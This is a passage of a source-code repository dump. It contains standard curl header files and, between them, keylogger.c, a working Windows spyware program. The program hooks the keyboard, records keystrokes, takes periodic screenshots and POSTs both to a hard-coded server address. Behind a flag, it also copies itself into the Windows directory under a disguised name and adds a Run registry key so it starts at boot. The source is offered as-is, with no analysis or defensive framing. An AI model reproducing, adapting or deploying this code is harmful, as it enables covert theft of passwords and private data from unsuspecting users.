136 | #ifdef CURL_PULL_STDINT_H
137 | # include
138 | #endif
139 |
140 | /* Configure process defines this to 1 when it finds out that system */
141 | /* header file inttypes.h must be included by the external interface. */
142 | #cmakedefine CURL_PULL_INTTYPES_H
143 | #ifdef CURL_PULL_INTTYPES_H
144 | # include
145 | #endif
146 |
147 | /* Configure process defines this to 1 when it finds out that system */
148 | /* header file sys/socket.h must be included by the external interface. */
149 | #cmakedefine CURL_PULL_SYS_SOCKET_H
150 | #ifdef CURL_PULL_SYS_SOCKET_H
151 | # include
152 | #endif
153 |
154 | /* Configure process defines this to 1 when it finds out that system */
155 | /* header file sys/poll.h must be included by the external interface. */
156 | #cmakedefine CURL_PULL_SYS_POLL_H
157 | #ifdef CURL_PULL_SYS_POLL_H
158 | # include
159 | #endif
160 |
161 | /* The size of `long', as computed by sizeof. */
162 | #define CURL_SIZEOF_LONG ${CURL_SIZEOF_LONG}
163 |
164 | /* Integral data type used for curl_socklen_t. */
165 | #define CURL_TYPEOF_CURL_SOCKLEN_T ${CURL_TYPEOF_CURL_SOCKLEN_T}
166 |
167 | /* The size of `curl_socklen_t', as computed by sizeof. */
168 | #define CURL_SIZEOF_CURL_SOCKLEN_T ${CURL_SIZEOF_CURL_SOCKLEN_T}
169 |
170 | /* Data type definition of curl_socklen_t. */
171 | typedef CURL_TYPEOF_CURL_SOCKLEN_T curl_socklen_t;
172 |
173 | /* Signed integral data type used for curl_off_t. */
174 | #define CURL_TYPEOF_CURL_OFF_T ${CURL_TYPEOF_CURL_OFF_T}
175 |
176 | /* Data type definition of curl_off_t. */
177 | typedef CURL_TYPEOF_CURL_OFF_T curl_off_t;
178 |
179 | /* curl_off_t formatting string directive without "%" conversion specifier. */
180 | #define CURL_FORMAT_CURL_OFF_T "${CURL_FORMAT_CURL_OFF_T}"
181 |
182 | /* unsigned curl_off_t formatting string without "%" conversion specifier. */
183 | #define CURL_FORMAT_CURL_OFF_TU "${CURL_FORMAT_CURL_OFF_TU}"
184 |
185 | /* curl_off_t formatting string directive with "%" conversion specifier. */
186 | #define CURL_FORMAT_OFF_T "${CURL_FORMAT_OFF_T}"
187 |
188 | /* The size of `curl_off_t', as computed by sizeof. */
189 | #define CURL_SIZEOF_CURL_OFF_T ${CURL_SIZEOF_CURL_OFF_T}
190 |
191 | /* curl_off_t constant suffix. */
192 | #define CURL_SUFFIX_CURL_OFF_T ${CURL_SUFFIX_CURL_OFF_T}
193 |
194 | /* unsigned curl_off_t constant suffix. */
195 | #define CURL_SUFFIX_CURL_OFF_TU ${CURL_SUFFIX_CURL_OFF_TU}
196 |
197 | #endif /* __CURL_CURLBUILD_H */
198 |
--------------------------------------------------------------------------------
/keylogger.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include "curl/curl.h"
4 | #include "lodepng.h"
5 |
6 | #define BUFFERLEN 1024
7 | #define SNAPSHOT_SEC 100
8 | #define SERVER "http://192.168.1.100/send/send.php"
9 | #define MALWARE 0
10 |
11 | char *buffer;
12 | unsigned int bufferIndex = 0;
13 | unsigned int bufferSize = BUFFERLEN;
14 | HANDLE mutex;
15 | HHOOK hKeyHook, hMouseHook;
16 |
17 | BOOL GetBMPScreen(HBITMAP bitmap, HDC bitmapDC, int width, int height, unsigned char** bufferOut, unsigned int* lengthOut)
18 | {
19 | BOOL Success=FALSE;
20 | HDC SurfDC=NULL;
21 | HBITMAP OffscrBmp=NULL;
22 | HDC OffscrDC=NULL;
23 | LPBITMAPINFO lpbi=NULL;
24 | LPVOID lpvBits=NULL;
25 | HANDLE BmpFile=INVALID_HANDLE_VALUE;
26 | BITMAPFILEHEADER bmfh;
27 |
28 | if ((OffscrBmp = CreateCompatibleBitmap(bitmapDC, width, height)) == NULL)
29 | return FALSE;
30 |
31 | if ((OffscrDC = CreateCompatibleDC(bitmapDC)) == NULL)
32 | return FALSE;
33 |
34 | HBITMAP OldBmp = (HBITMAP)SelectObject(OffscrDC, OffscrBmp);
35 | BitBlt(OffscrDC, 0, 0, width, height, bitmapDC, 0, 0, SRCCOPY);
36 | lpbi = (LPBITMAPINFO)malloc(sizeof(BITMAPINFOHEADER) + 256 * sizeof(RGBQUAD));
37 |
38 | ZeroMemory(&lpbi->bmiHeader, sizeof(BITMAPINFOHEADER));
39 | lpbi->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
40 |
41 | SelectObject(OffscrDC, OldBmp);
42 | if (!GetDIBits(OffscrDC, OffscrBmp, 0, height, NULL, lpbi, DIB_RGB_COLORS))
43 | return FALSE;
44 |
45 | lpvBits = malloc(lpbi->bmiHeader.biSizeImage);
46 |
47 | if (!GetDIBits(OffscrDC, OffscrBmp, 0, height, lpvBits, lpbi, DIB_RGB_COLORS))
48 | return FALSE;
49 |
50 | int h = height;
51 | int w = width;
52 | unsigned scanlineBytes = w * 4;
53 | if(scanlineBytes % 4 != 0) scanlineBytes = (scanlineBytes / 4) * 4 + 4;
54 |
55 | char *png = malloc(w * h * 4);
56 | int x,y;
57 |
58 | for(y = 0; y < h; y++)
59 | for(x = 0; x < w; x++)
60 | {
61 | unsigned bmpos = (h - y - 1) * scanlineBytes + 4 * x;
62 | unsigned newpos = 4 * y * w + 4 * x;
63 |
64 | png[newpos + 0] = ((char *)lpvBits)[bmpos + 2]; //R
65 | png[newpos + 1] = ((char *)lpvBits)[bmpos + 1]; //G
66 | png[newpos + 2] = ((char *)lpvBits)[bmpos + 0]; //B
67 | png[newpos + 3] = 255; //A
68 | }
69 |
70 | free(lpvBits);
71 | lodepng_encode32_memory(png, width, height, bufferOut, lengthOut);
72 | free(png);
73 |
74 | return TRUE;
75 | }
76 |
77 | int FileSend(char *data, int length)
78 | {
79 | FILE *log;
80 | log = fopen("log","a+");
81 | fprintf(log, "%*s", length, data);
82 | fclose(log);
83 |
84 | return 1;
85 | }
86 |
87 | int CurlSend(char *data, int length, char *postParamName)
88 | {
89 | CURL *curl;
90 | CURLcode res;
91 |
92 | curl_global_init(CURL_GLOBAL_ALL);
93 | curl = curl_easy_init();
94 | res = CURLE_OK;
95 |
96 | if(curl)
97 | {
98 | char *inputStr = postParamName;
99 | char *httpStr = curl_easy_escape(curl, data, length);
100 |
101 | char *sendStr = (char *)malloc(strlen(inputStr) + strlen(httpStr) + 1);
102 | strcpy(sendStr, inputStr);
103 | strcat(sendStr, httpStr);
104 |
105 | curl_easy_setopt(curl, CURLOPT_URL, SERVER);
106 | curl_easy_setopt(curl, CURLOPT_POSTFIELDS, sendStr);
107 | res = curl_easy_perform(curl);
108 | curl_easy_cleanup(curl);
109 |
110 | curl_free(httpStr);
111 | free(sendStr);
112 | }
113 |
114 | curl_global_cleanup();
115 |
116 | if(res == CURLE_OK)
117 | {
118 | return 1;
119 | }
120 |
121 | return 0;
122 | }
123 |
124 | void ConvertKey(unsigned int key, char *outStr)
125 | {
126 | BYTE keyboardState[256];
127 | WORD out;
128 | GetKeyboardState(keyboardState);
129 | int res = ToAsciiEx(key, MapVirtualKeyEx(key, 0, GetKeyboardLayout(0)), keyboardState, &out, 0, GetKeyboardLayout(0));
130 |
131 | if(res == 1)
132 | {
133 | outStr[0] = out & 0xff;
134 | outStr[1] = 0;
135 | }
136 | if(res == 2)
137 | {
138 | outStr[0] = out & 0xff;
139 | outStr[1] = (out >> 8) & 0xff;
140 | outStr[2] = 0;
141 | }
142 | }
143 |
144 | void SaveKey(unsigned int key)
145 | {
146 | char keyStr[16];
147 | ConvertKey(key, keyStr);
148 |
149 | // lock
150 | WaitForSingleObject(mutex, INFINITE);
151 |
152 | int len = strlen(buffer);
153 | int available = bufferSize - len;
154 |
155 | if (strlen(keyStr) >= available)
156 | {
157 | bufferSize *= 2;
158 | buffer = realloc(buffer, bufferSize);
159 | }
160 |
161 | strcat(buffer, keyStr);
162 |
163 | // unlock
164 | ReleaseMutex(mutex);
165 | }
166 |
167 | void SendScreenshot()
168 | {
169 | HDC hDc = CreateCompatibleDC(0);
170 | int width = GetDeviceCaps(hDc, HORZRES);
171 | int height = GetDeviceCaps(hDc, VERTRES);
172 | HBITMAP hBmp = CreateCompatibleBitmap(GetDC(0), width, height);
173 | SelectObject(hDc, hBmp);
174 | BitBlt(hDc, 0, 0, width, height, GetDC(0), 0, 0, SRCCOPY);
175 |
176 | unsigned char *image;
177 | unsigned int len;
178 |
179 | BOOL ret = GetBMPScreen(hBmp, hDc, width, height, &image, &len);
180 |
181 | DeleteObject(hBmp);
182 | DeleteObject(hDc);
183 |
184 | CurlSend(image, len, "image=");
185 | lodepng_memory_free(image);
186 | }
187 |
188 | LRESULT CALLBACK RawInputMouse(int nCode, WPARAM wParam, LPARAM lParam)
189 | {
190 | MOUSEHOOKSTRUCT *mouse = (MOUSEHOOKSTRUCT *)lParam;
191 |
192 | if (nCode == HC_ACTION && wParam == WM_LBUTTONDOWN)
193 | {
194 | SendScreenshot();
195 | }
196 |
197 | return CallNextHookEx(hMouseHook, nCode, wParam, lParam);
198 | }
199 |
200 | LRESULT CALLBACK RawInputKeyboard(int nCode, WPARAM wParam, LPARAM lParam)
201 | {
202 | if(nCode < 0)
203 | return CallNextHookEx(hKeyHook, nCode, wParam, lParam);
204 |
205 | if(wParam == WM_KEYDOWN)
206 | {
207 | KBDLLHOOKSTRUCT *keyboard = (KBDLLHOOKSTRUCT *)lParam;
208 | SaveKey(keyboard->vkCode);
209 | }
210 |
211 | return CallNextHookEx(hKeyHook, nCode, wParam, lParam);
212 | }
213 |
214 | DWORD WINAPI KeyLogger()
215 | {
216 | HINSTANCE hExe = GetModuleHandle(NULL);
217 | //hMouseHook = SetWindowsHookEx(WH_MOUSE_LL,(HOOKPROC)RawInputMouse, hExe, 0);
218 | hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)RawInputKeyboard, hExe, 0);
219 | MSG msg;
220 |
221 | //Loop infinito, per uscire da qui si può solo fare
222 | //PostThreadMessage("ID DEL THREAD", WM_QUIT, 0, 0);
223 | GetMessage(&msg, NULL, 0, 0);
224 |
225 | return 0;
226 | }
227 |
228 | void Hook(char* self, int mode)
229 | {
230 | unsigned char path[1024];
231 | int err;
232 | HKEY hkey;
233 | FILE *test;
234 |
235 | GetWindowsDirectory(path, 1024);
236 | strcat(path, "\\vchosts.exe");
237 |
238 | CopyFile(self, path, 0);
239 |
240 | RegCreateKey(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hkey);
241 | RegSetValueEx(hkey,"wincmd32", 0, REG_SZ, path, strlen(path));
242 | RegCloseKey(hkey);
243 |
244 | return;
245 | }
246 |
247 | int main(int argn, char* argv[])
248 | {
249 | if(MALWARE)
250 | {
251 | unsigned char path[1024];
252 | GetWindowsDirectory(path, 1024);
253 | strcat(path, "\\vchosts.exe");
254 |
255 | WIN32_FIND_DATA FindFileData;
256 | HANDLE handle = FindFirstFile(path, &FindFileData);
257 | if(handle == INVALID_HANDLE_VALUE)
258 | {
259 | FindClose(handle);
260 | Hook(argv[0], 1);
261 | ShellExecute(0, "open", path, NULL, NULL, SW_SHOW);
262 | exit(0);
263 | }
264 |
265 | if(strstr(argv[0], "vchosts") == 0)
266 | {
267 | exit(0);
268 | }
269 | }
270 |
271 | mutex = CreateMutex(NULL, FALSE, NULL);
272 |
273 | buffer = (char*)malloc(BUFFERLEN);
274 | buffer[0] = 0;
275 |
276 | HANDLE logger;
277 | logger = CreateThread(NULL, 0, KeyLogger, NULL, 0, NULL);
278 |
279 | unsigned int timer = 0;
280 | int len;
281 |
282 | while(1)
283 | {
284 | if(timer % SNAPSHOT_SEC == 0)
285 | {
286 | SendScreenshot();
287 | }
288 |
289 | if(timer % 10 == 0)
290 | {
291 | // lock
292 | WaitForSingleObject(mutex, INFINITE);
293 |
294 | len = strlen(buffer);
295 | char *curlTmp = malloc(len);
296 | memcpy(curlTmp, buffer, len);
297 |
298 | // unlock
299 | ReleaseMutex(mutex);
300 |
301 | int res = CurlSend(curlTmp, len, "text=");
302 | if(res)
303 | {
304 | // lock
305 | WaitForSingleObject(mutex, INFINITE);
306 |
307 | // reset buffer
308 | strcpy(buffer, buffer + len);
309 |
310 | // unlock
311 | ReleaseMutex(mutex);
312 | }
313 |
314 | // lock
315 | WaitForSingleObject(mutex, INFINITE);
316 |
317 | free(curlTmp);
318 |
319 | // unlock
320 | ReleaseMutex(mutex);
321 | }
322 | timer++;
323 | Sleep(1000); // 1 sec sleep
324 | }
325 | return 0;
326 | }
327 |
--------------------------------------------------------------------------------
/curl/curlrules.h:
--------------------------------------------------------------------------------
1 | #ifndef __CURL_CURLRULES_H
2 | #define __CURL_CURLRULES_H
3 | /***************************************************************************
4 | * _ _ ____ _
5 | * Project ___| | | | _ \| |
6 | * / __| | | | |_) | |
7 | * | (__| |_| | _ <| |___
8 | * \___|\___/|_| \_\_____|
9 | *
10 | * Copyright (C) 1998 - 2012, Daniel Stenberg, , et al.
11 | *
12 | * This software is licensed as described in the file COPYING, which
13 | * you should have received as part of this distribution. The terms
14 | * are also available at https://curl.haxx.se/docs/copyright.html.
15 | *
16 | * You may opt to use, copy, modify, merge, publish, distribute and/or sell
17 | * copies of the Software, and permit persons to whom the Software is
18 | * furnished to do so, under the terms of the COPYING file.
19 | *
20 | * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
21 | * KIND, either express or implied.
22 | *
23 | ***************************************************************************/
24 |
25 | /* ================================================================ */
26 | /* COMPILE TIME SANITY CHECKS */
27 | /* ================================================================ */
28 |
29 | /*
30 | * NOTE 1:
31 | * -------
32 | *
33 | * All checks done in this file are intentionally placed in a public
34 | * header file which is pulled by curl/curl.h when an application is
35 | * being built using an already built libcurl library. Additionally
36 | * this file is also included and used when building the library.
37 | *
38 | * If compilation fails on this file it is certainly sure that the
39 | * problem is elsewhere. It could be a problem in the curlbuild.h
40 | * header file, or simply that you are using different compilation
41 | * settings than those used to build the library.
42 | *
43 | * Nothing in this file is intended to be modified or adjusted by the
44 | * curl library user nor by the curl library builder.
45 | *
46 | * Do not deactivate any check, these are done to make sure that the
47 | * library is properly built and used.
48 | *
49 | * You can find further help on the libcurl development mailing list:
50 | * https://cool.haxx.se/mailman/listinfo/curl-library/
51 | *
52 | * NOTE 2
53 | * ------
54 | *
55 | * Some of the following compile time checks are based on the fact
56 | * that the dimension of a constant array can not be a negative one.
57 | * In this way if the compile time verification fails, the compilation
58 | * will fail issuing an error. The error description wording is compiler
59 | * dependent but it will be quite similar to one of the following:
60 | *
61 | * "negative subscript or subscript is too large"
62 | * "array must have at least one element"
63 | * "-1 is an illegal array size"
64 | * "size of array is negative"
65 | *
66 | * If you are building an application which tries to use an already
67 | * built libcurl library and you are getting this kind of errors on
68 | * this file, it is a clear indication that there is a mismatch between
69 | * how the library was built and how you are trying to use it for your
70 | * application. Your already compiled or binary library provider is the
71 | * only one who can give you the details you need to properly use it.
72 | */
73 |
74 | /*
75 | * Verify that some macros are actually defined.
76 | */
77 |
78 | #ifndef CURL_SIZEOF_LONG
79 | # error "CURL_SIZEOF_LONG definition is missing!"
80 | Error Compilation_aborted_CURL_SIZEOF_LONG_is_missing
81 | #endif
82 |
83 | #ifndef CURL_TYPEOF_CURL_SOCKLEN_T
84 | # error "CURL_TYPEOF_CURL_SOCKLEN_T definition is missing!"
85 | Error Compilation_aborted_CURL_TYPEOF_CURL_SOCKLEN_T_is_missing
86 | #endif
87 |
88 | #ifndef CURL_SIZEOF_CURL_SOCKLEN_T
89 | # error "CURL_SIZEOF_CURL_SOCKLEN_T definition is missing!"
90 | Error Compilation_aborted_CURL_SIZEOF_CURL_SOCKLEN_T_is_missing
91 | #endif
92 |
93 | #ifndef CURL_TYPEOF_CURL_OFF_T
94 | # error "CURL_TYPEOF_CURL_OFF_T definition is missing!"
95 | Error Compilation_aborted_CURL_TYPEOF_CURL_OFF_T_is_missing
96 | #endif
97 |
98 | #ifndef CURL_FORMAT_CURL_OFF_T
99 | # error "CURL_FORMAT_CURL_OFF_T definition is missing!"
100 | Error Compilation_aborted_CURL_FORMAT_CURL_OFF_T_is_missing
101 | #endif
102 |
103 | #ifndef CURL_FORMAT_CURL_OFF_TU
104 | # error "CURL_FORMAT_CURL_OFF_TU definition is missing!"
105 | Error Compilation_aborted_CURL_FORMAT_CURL_OFF_TU_is_missing
106 | #endif
107 |
108 | #ifndef CURL_FORMAT_OFF_T
109 | # error "CURL_FORMAT_OFF_T definition is missing!"
110 | Error Compilation_aborted_CURL_FORMAT_OFF_T_is_missing
111 | #endif
112 |
113 | #ifndef CURL_SIZEOF_CURL_OFF_T
114 | # error "CURL_SIZEOF_CURL_OFF_T definition is missing!"
115 | Error Compilation_aborted_CURL_SIZEOF_CURL_OFF_T_is_missing
116 | #endif
117 |
118 | #ifndef CURL_SUFFIX_CURL_OFF_T
119 | # error "CURL_SUFFIX_CURL_OFF_T definition is missing!"
120 | Error Compilation_aborted_CURL_SUFFIX_CURL_OFF_T_is_missing
121 | #endif
122 |
123 | #ifndef CURL_SUFFIX_CURL_OFF_TU
124 | # error "CURL_SUFFIX_CURL_OFF_TU definition is missing!"
125 | Error Compilation_aborted_CURL_SUFFIX_CURL_OFF_TU_is_missing
126 | #endif
127 |
128 | /*
129 | * Macros private to this header file.
130 | */
131 |
132 | #define CurlchkszEQ(t, s) sizeof(t) == s ? 1 : -1
133 |
134 | #define CurlchkszGE(t1, t2) sizeof(t1) >= sizeof(t2) ? 1 : -1
135 |
136 | /*
137 | * Verify that the size previously defined and expected for long
138 | * is the same as the one reported by sizeof() at compile time.
139 | */
140 |
141 | typedef char
142 | __curl_rule_01__
143 | [CurlchkszEQ(long, CURL_SIZEOF_LONG)];
144 |
145 | /*
146 | * Verify that the size previously defined and expected for
147 | * curl_off_t is actually the the same as the one reported
148 | * by sizeof() at compile time.
149 | */
150 |
151 | typedef char
152 | __curl_rule_02__
153 | [CurlchkszEQ(curl_off_t, CURL_SIZEOF_CURL_OFF_T)];
154 |
155 | /*
156 | * Verify at compile time that the size of curl_off_t as reported
157 | * by sizeof() is greater or equal than the one reported for long
158 | * for the current compilation.
159 | */
160 |
161 | typedef char
162 | __curl_rule_03__
163 | [CurlchkszGE(curl_off_t, long)];
164 |
165 | /*
166 | * Verify that the size previously defined and expected for
167 | * curl_socklen_t is actually the the same as the one reported
168 | * by sizeof() at compile time.
169 | */
170 |
171 | typedef char
172 | __curl_rule_04__
173 | [CurlchkszEQ(curl_socklen_t, CURL_SIZEOF_CURL_SOCKLEN_T)];
174 |
175 | /*
176 | * Verify at compile time that the size of curl_socklen_t as reported
177 | * by sizeof() is greater or equal than the one reported for int for
178 | * the current compilation.
179 | */
180 |
181 | typedef char
182 | __curl_rule_05__
183 | [CurlchkszGE(curl_socklen_t, int)];
184 |
185 | /* ================================================================ */
186 | /* EXTERNALLY AND INTERNALLY VISIBLE DEFINITIONS */
187 | /* ================================================================ */
188 |
189 | /*
190 | * CURL_ISOCPP and CURL_OFF_T_C definitions are done here in order to allow
191 | * these to be visible and exported by the external libcurl interface API,
192 | * while also making them visible to the library internals, simply including
193 | * curl_setup.h, without actually needing to include curl.h internally.
194 | * If some day this section would grow big enough, all this should be moved
195 | * to its own header file.
196 | */
197 |
198 | /*
199 | * Figure out if we can use the ## preprocessor operator, which is supported
200 | * by ISO/ANSI C and C++. Some compilers support it without setting __STDC__
201 | * or __cplusplus so we need to carefully check for them too.
202 | */
203 |
204 | #if defined(__STDC__) || defined(_MSC_VER) || defined(__cplusplus) || \
205 | defined(__HP_aCC) || defined(__BORLANDC__) || defined(__LCC__) || \
206 | defined(__POCC__) || defined(__SALFORDC__) || defined(__HIGHC__) || \
207 | defined(__ILEC400__)
208 | /* This compiler is believed to have an ISO compatible preprocessor */
209 | #define CURL_ISOCPP
210 | #else
211 | /* This compiler is believed NOT to have an ISO compatible preprocessor */
212 | #undef CURL_ISOCPP
213 | #endif
214 |
215 | /*
216 | * Macros for minimum-width signed and unsigned curl_off_t integer constants.
217 | */
218 |
219 | #if defined(__BORLANDC__) && (__BORLANDC__ == 0x0551)
220 | # define __CURL_OFF_T_C_HLPR2(x) x
221 | # define __CURL_OFF_T_C_HLPR1(x) __CURL_OFF_T_C_HLPR2(x)
222 | # define CURL_OFF_T_C(Val) __CURL_OFF_T_C_HLPR1(Val) ## \
223 | __CURL_OFF_T_C_HLPR1(CURL_SUFFIX_CURL_OFF_T)
224 | # define CURL_OFF_TU_C(Val) __CURL_OFF_T_C_HLPR1(Val) ## \
225 | __CURL_OFF_T_C_HLPR1(CURL_SUFFIX_CURL_OFF_TU)
226 | #else
227 | # ifdef CURL_ISOCPP
228 | # define __CURL_OFF_T_C_HLPR2(Val,Suffix) Val ## Suffix
229 | # else
230 | # define __CURL_OFF_T_C_HLPR2(Val,Suffix) Val/**/Suffix
231 | # endif
232 | # define __CURL_OFF_T_C_HLPR1(Val,Suffix) __CURL_OFF_T_C_HLPR2(Val,Suffix)
233 | # define CURL_OFF_T_C(Val) __CURL_OFF_T_C_HLPR1(Val,CURL_SUFFIX_CURL_OFF_T)
234 | # define CURL_OFF_TU_C(Val) __CURL_OFF_T_C_HLPR1(Val,CURL_SUFFIX_CURL_OFF_TU)
235 | #endif
236 |
237 | /*
238 | * Get rid of macros private to this header file.
239 | */
240 |
241 | #undef CurlchkszEQ
242 | #undef CurlchkszGE
243 |
244 | /*
245 | * Get rid of macros not intended to exist beyond this point.
246 | */
247 |
248 | #undef CURL_PULL_WS2TCPIP_H
249 | #undef CURL_PULL_SYS_TYPES_H
250 | #undef CURL_PULL_SYS_SOCKET_H
251 | #undef CURL_PULL_SYS_POLL_H
252 | #undef CURL_PULL_STDINT_H
253 | #undef CURL_PULL_INTTYPES_H
254 |
255 | #undef CURL_TYPEOF_CURL_SOCKLEN_T
256 | #undef CURL_TYPEOF_CURL_OFF_T
257 |
258 | #ifdef CURL_NO_OLDIES
259 | #undef CURL_FORMAT_OFF_T /* not required since 7.19.0 - obsoleted in 7.20.0 */
260 | #endif
261 |
262 | #endif /* __CURL_CURLRULES_H */
263 |
--------------------------------------------------------------------------------
/curl/multi.h:
--------------------------------------------------------------------------------
1 | #ifndef __CURL_MULTI_H
2 | #define __CURL_MULTI_H
3 | /***************************************************************************
4 | * _ _ ____ _
5 | * Project ___| | | | _ \| |
6 | * / __| | | | |_) | |
7 | * | (__| |_| | _ <| |___
8 | * \___|\___/|_| \_\_____|
9 | *
10 | * Copyright (C) 1998 - 2016, Daniel Stenberg, , et al.
11 | *
12 | * This software is licensed as described in the file COPYING, which
13 | * you should have received as part of this distribution. The terms
14 | * are also available at https://curl.haxx.se/docs/copyright.html.
15 | *
16 | * You may opt to use, copy, modify, merge, publish, distribute and/or sell
17 | * copies of the Software, and permit persons to whom the Software is
18 | * furnished to do so, under the terms of the COPYING file.
19 | *
20 | * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
21 | * KIND, either express or implied.
22 | *
23 | ***************************************************************************/
24 | /*
25 | This is an "external" header file. Don't give away any internals here!
26 |
27 | GOALS
28 |
29 | o Enable a "pull" interface. The application that uses libcurl decides where
30 | and when to ask libcurl to get/send data.
31 |
32 | o Enable multiple simultaneous transfers in the same thread without making it
33 | complicated for the application.
34 |
35 | o Enable the application to select() on its own file descriptors and curl's
36 | file descriptors simultaneous easily.
37 |
38 | */
39 |
40 | /*
41 | * This header file should not really need to include "curl.h" since curl.h
42 | * itself includes this file and we expect user applications to do #include
43 | * without the need for especially including multi.h.
44 | *
45 | * For some reason we added this include here at one point, and rather than to
46 | * break existing (wrongly written) libcurl applications, we leave it as-is
47 | * but with this warning attached.
48 | */
49 | #include "curl.h"
50 |
51 | #ifdef __cplusplus
52 | extern "C" {
53 | #endif
54 |
55 | #if defined(BUILDING_LIBCURL) || defined(CURL_STRICTER)
56 | typedef struct Curl_multi CURLM;
57 | #else
58 | typedef void CURLM;
59 | #endif
60 |
61 | typedef enum {
62 | CURLM_CALL_MULTI_PERFORM = -1, /* please call curl_multi_perform() or
63 | curl_multi_socket*() soon */
64 | CURLM_OK,
65 | CURLM_BAD_HANDLE, /* the passed-in handle is not a valid CURLM handle */
66 | CURLM_BAD_EASY_HANDLE, /* an easy handle was not good/valid */
67 | CURLM_OUT_OF_MEMORY, /* if you ever get this, you're in deep sh*t */
68 | CURLM_INTERNAL_ERROR, /* this is a libcurl bug */
69 | CURLM_BAD_SOCKET, /* the passed in socket argument did not match */
70 | CURLM_UNKNOWN_OPTION, /* curl_multi_setopt() with unsupported option */
71 | CURLM_ADDED_ALREADY, /* an easy handle already added to a multi handle was
72 | attempted to get added - again */
73 | CURLM_LAST
74 | } CURLMcode;
75 |
76 | /* just to make code nicer when using curl_multi_socket() you can now check
77 | for CURLM_CALL_MULTI_SOCKET too in the same style it works for
78 | curl_multi_perform() and CURLM_CALL_MULTI_PERFORM */
79 | #define CURLM_CALL_MULTI_SOCKET CURLM_CALL_MULTI_PERFORM
80 |
81 | /* bitmask bits for CURLMOPT_PIPELINING */
82 | #define CURLPIPE_NOTHING 0L
83 | #define CURLPIPE_HTTP1 1L
84 | #define CURLPIPE_MULTIPLEX 2L
85 |
86 | typedef enum {
87 | CURLMSG_NONE, /* first, not used */
88 | CURLMSG_DONE, /* This easy handle has completed. 'result' contains
89 | the CURLcode of the transfer */
90 | CURLMSG_LAST /* last, not used */
91 | } CURLMSG;
92 |
93 | struct CURLMsg {
94 | CURLMSG msg; /* what this message means */
95 | CURL *easy_handle; /* the handle it concerns */
96 | union {
97 | void *whatever; /* message-specific data */
98 | CURLcode result; /* return code for transfer */
99 | } data;
100 | };
101 | typedef struct CURLMsg CURLMsg;
102 |
103 | /* Based on poll(2) structure and values.
104 | * We don't use pollfd and POLL* constants explicitly
105 | * to cover platforms without poll(). */
106 | #define CURL_WAIT_POLLIN 0x0001
107 | #define CURL_WAIT_POLLPRI 0x0002
108 | #define CURL_WAIT_POLLOUT 0x0004
109 |
110 | struct curl_waitfd {
111 | curl_socket_t fd;
112 | short events;
113 | short revents; /* not supported yet */
114 | };
115 |
116 | /*
117 | * Name: curl_multi_init()
118 | *
119 | * Desc: inititalize multi-style curl usage
120 | *
121 | * Returns: a new CURLM handle to use in all 'curl_multi' functions.
122 | */
123 | CURL_EXTERN CURLM *curl_multi_init(void);
124 |
125 | /*
126 | * Name: curl_multi_add_handle()
127 | *
128 | * Desc: add a standard curl handle to the multi stack
129 | *
130 | * Returns: CURLMcode type, general multi error code.
131 | */
132 | CURL_EXTERN CURLMcode curl_multi_add_handle(CURLM *multi_handle,
133 | CURL *curl_handle);
134 |
135 | /*
136 | * Name: curl_multi_remove_handle()
137 | *
138 | * Desc: removes a curl handle from the multi stack again
139 | *
140 | * Returns: CURLMcode type, general multi error code.
141 | */
142 | CURL_EXTERN CURLMcode curl_multi_remove_handle(CURLM *multi_handle,
143 | CURL *curl_handle);
144 |
145 | /*
146 | * Name: curl_multi_fdset()
147 | *
148 | * Desc: Ask curl for its fd_set sets. The app can use these to select() or
149 | * poll() on. We want curl_multi_perform() called as soon as one of
150 | * them are ready.
151 | *
152 | * Returns: CURLMcode type, general multi error code.
153 | */
154 | CURL_EXTERN CURLMcode curl_multi_fdset(CURLM *multi_handle,
155 | fd_set *read_fd_set,
156 | fd_set *write_fd_set,
157 | fd_set *exc_fd_set,
158 | int *max_fd);
159 |
160 | /*
161 | * Name: curl_multi_wait()
162 | *
163 | * Desc: Poll on all fds within a CURLM set as well as any
164 | * additional fds passed to the function.
165 | *
166 | * Returns: CURLMcode type, general multi error code.
167 | */
168 | CURL_EXTERN CURLMcode curl_multi_wait(CURLM *multi_handle,
169 | struct curl_waitfd extra_fds[],
170 | unsigned int extra_nfds,
171 | int timeout_ms,
172 | int *ret);
173 |
174 | /*
175 | * Name: curl_multi_perform()
176 | *
177 | * Desc: When the app thinks there's data available for curl it calls this
178 | * function to read/write whatever there is right now. This returns
179 | * as soon as the reads and writes are done. This function does not
180 | * require that there actually is data available for reading or that
181 | * data can be written, it can be called just in case. It returns
182 | * the number of handles that still transfer data in the second
183 | * argument's integer-pointer.
184 | *
185 | * Returns: CURLMcode type, general multi error code. *NOTE* that this only
186 | * returns errors etc regarding the whole multi stack. There might
187 | * still have occurred problems on invidual transfers even when this
188 | * returns OK.
189 | */
190 | CURL_EXTERN CURLMcode curl_multi_perform(CURLM *multi_handle,
191 | int *running_handles);
192 |
193 | /*
194 | * Name: curl_multi_cleanup()
195 | *
196 | * Desc: Cleans up and removes a whole multi stack. It does not free or
197 | * touch any individual easy handles in any way. We need to define
198 | * in what state those handles will be if this function is called
199 | * in the middle of a transfer.
200 | *
201 | * Returns: CURLMcode type, general multi error code.
202 | */
203 | CURL_EXTERN CURLMcode curl_multi_cleanup(CURLM *multi_handle);
204 |
205 | /*
206 | * Name: curl_multi_info_read()
207 | *
208 | * Desc: Ask the multi handle if there's any messages/informationals from
209 | * the individual transfers. Messages include informationals such as
210 | * error code from the transfer or just the fact that a transfer is
211 | * completed. More details on these should be written down as well.
212 | *
213 | * Repeated calls to this function will return a new struct each
214 | * time, until a special "end of msgs" struct is returned as a signal
215 | * that there is no more to get at this point.
216 | *
217 | * The data the returned pointer points to will not survive calling
218 | * curl_multi_cleanup().
219 | *
220 | * The 'CURLMsg' struct is meant to be very simple and only contain
221 | * very basic informations. If more involved information is wanted,
222 | * we will provide the particular "transfer handle" in that struct
223 | * and that should/could/would be used in subsequent
224 | * curl_easy_getinfo() calls (or similar). The point being that we
225 | * must never expose complex structs to applications, as then we'll
226 | * undoubtably get backwards compatibility problems in the future.
227 | *
228 | * Returns: A pointer to a filled-in struct, or NULL if it failed or ran out
229 | * of structs. It also writes the number of messages left in the
230 | * queue (after this read) in the integer the second argument points
231 | * to.
232 | */
